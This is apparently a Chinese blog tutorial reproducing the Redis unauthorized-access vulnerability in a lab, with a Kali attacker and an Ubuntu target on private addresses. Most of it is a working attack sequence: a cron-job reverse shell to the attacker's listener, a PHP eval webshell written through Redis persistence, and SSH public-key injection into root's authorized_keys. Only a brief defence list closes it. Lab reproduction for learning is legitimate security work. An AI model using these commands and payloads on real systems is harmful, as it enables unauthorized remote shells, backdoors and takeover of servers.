Redis 未授权访问漏洞复现

Redis 未授权访问漏洞复现

1.Redis 简介

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

  • Redis是一个开源的、使用c语言编写的NoSQL数据库。

  • Redis基于内存运行并支持持久化(支持存储在磁盘),采用key-value(键值对)的存储形式,是目前分布式架构中不可或缺的一环。

  • Redis器程序是单进程模型

  • Redis服务在一台服务器上可以同时启动多个Redis进程,Redis的实际处理速度则是完全依靠于主进程的执行效率。若在服务器.上只运行一个Redis进程, 当多个客户端同时访问时,服务器的处理能力是会有一-定程度的下降;若在同一台服务器上开启多个Redis进程,Redis在提高并发处理能力的同时会给服务器的CPU造成很大压力。即:在实际生产环境中,需要根据实际的需求来决定开启多少个Redis进程

2.漏洞产生条件:

  1. redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
  2. 没有设置密码认证(默认为空),可以免密码远程登录redis服务。

3.漏洞危害:

  1. 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
  2. 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件(webshell);
  3. 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

4.环境部署

靶机 Ubuntu :192.168.241.129

攻击机 kail: 192.168.241.128

Ubuntu下载安装最新redis

wget http://download.redis.io/releases/redis-6.2.7.tar.gz	//简易使用低版本Redis

解压并进入redis目录,由于有makefile文件,直接使用make编译的方式进行安装

出现“It’s a good idea to run ‘make test’”说明安装成功

然后进入src目录将redis-serverredis-cli拷贝到/usr/bin目录下(这样启动redis-serverredis-cli就不用每次都进入安装目录了)

sudo cp redis-cli /usr/bin
sudo cp redis-server /usr/bin

修改配置文件redis.conf

注释掉bind 127.0.0.1  ::1			//注释掉仅允许本地连接

将protected-mode设置为no,			//保护关掉

然后将redis.conf拷贝到/etc/目录下

sudo cp redis.conf /etc/

使用/etc/目录下的reids.conf文件中的配置启动redis服务

sudo redis-server /etc/redis.conf    //给redis-server服务root权限

在这里插入图片描述

表示启动成功

攻击机操作同靶机一样先进行安装

但是不需要修改配置文件,安装好之后进行漏洞复现

5.漏洞复现

kali:检测目标6379端口是否开放

nmap -p 6379 -script redis-info 192.168.241.129			//-p 指定端口进行扫描

在这里插入图片描述

在攻击机上的Redis服务文件夹路径下使用 以下命令远程登录

./redis-cli -h 192.168.241.129

redis-cli -h 目标主机IP地址 -p  端口号

在Redis 默认没有配置密码的情况下可以直接成功连接目标Redis服务器,输入info查看版本信息

在这里插入图片描述

可以查看redis 存放路径

CONFIG GET dir

在这里插入图片描述

config get dir 	获取redis用于文件持久化存储的路径
config get dbfilename 获取redis用于文件持久化存储的文件名
config set dir xxxx 修改路径
config set dbfilename xxx 修改文件名
savesave	命令是直接手动持久化内存中的数据

先开启监听

nc -lvp 4444

1.向目标写入任务计划,反弹shell

set x "\n* * * * * bash -i >& /dev/tcp/192.168.241.128/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

在这里插入图片描述

如果save出现(error) ERR

就是redis-server服务没有root权限

此时使用

ps -ef | grep redis			//查找redis进程
然后sudo kill -9 pid把redis干掉
重新用sudo权限启动就可以了

2.写入webshell

利用条件

  • 靶机redis连接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证。
  • 开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限。
  • 我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行savebgsave,则我们就可以写入一个路径为a/b的任意文件

Ubuntu要安装搭建PHP环境

指定目录的时候,目录要存在才不会报错,否则会报错

config set dir /var/www/html     设置web目录
config set dbfilename webshell.php  设置备份文件名
set shell "<?php @eval($_POST['shell']);?>"  设置值
最好是写入:
set shell "\r\n\r\n<?php @eval($_POST['shell']);?>\r\n\r\n"
或set shell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save  保存

在这里插入图片描述

在Ubuntu该目录下可以看到已经生成webshell.php

可以看到写入phpinfo可以成功访问

在这里插入图片描述

3.写入SSH公钥实现ssh登录

利用条件:

  • root权限
  • 开启了ssh密钥登录,存在/etc/.ssh文件

首先在攻击机中生成ssh公钥(生成的内容在.ssh中)

kali进入:/root/.ssh目录

ssh-keygen -t rsa		//两次要输入时,不写直接回车

在这里插入图片描述

将公钥写入到某个文件中,再复制到src目录下

(echo -e"\n";cat id_rsa.pub;echo -e "\n")>1.txt

在这里插入图片描述

cat 1.txt | redis-cli -h 192.168.241.129 -p 6379 -x set hack	//将1.txt中的内容作为值写入到hack中
redis-cli -h 192.168.241.129 -p 6379			连接redis

在这里插入图片描述

config set dir /root/.ssh		//更改redis备份路径为ssh公钥存放目录
config set dbfilename authorized_keys		//设置上传公钥的备份文件名字为authorized_keys
save						//保存
exit						//退出

在这里插入图片描述

注意,Ubuntu下没有./ssh目录,需要安装ssh

 sudo apt-get install openssh-server		//安装ssh
 /etc/init.d/ssh start						//启动服务
 /etc/init.d/ssh restart					//重启服务
 sudo su									//切换root
 ssh-keygen									//生成key,不用输入密码,两次直接回车

之后ll命令直接出现./ssh目录,该目录为隐藏目录,ls看不到

在这里插入图片描述

使用以下命令登录

ssh -i id_rsa [email protected]
建议靶机改为Centos,否则反弹shell失败

在Centos上使用,Ubuntu上行不通,原因如下:

因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行

因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同:

Centos的定时任务文件在/var/spool/cron/<username>

Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>

6.防御方法

1.禁止外部访问Redis服务端口;

2.禁止使用root权限启动redis服务;

3.配置安全组,限制可连接Redis服务器的IP;

4.设置密码,开启防火墙。

猜你喜欢

转载自blog.csdn.net/huangyongkang666/article/details/124532264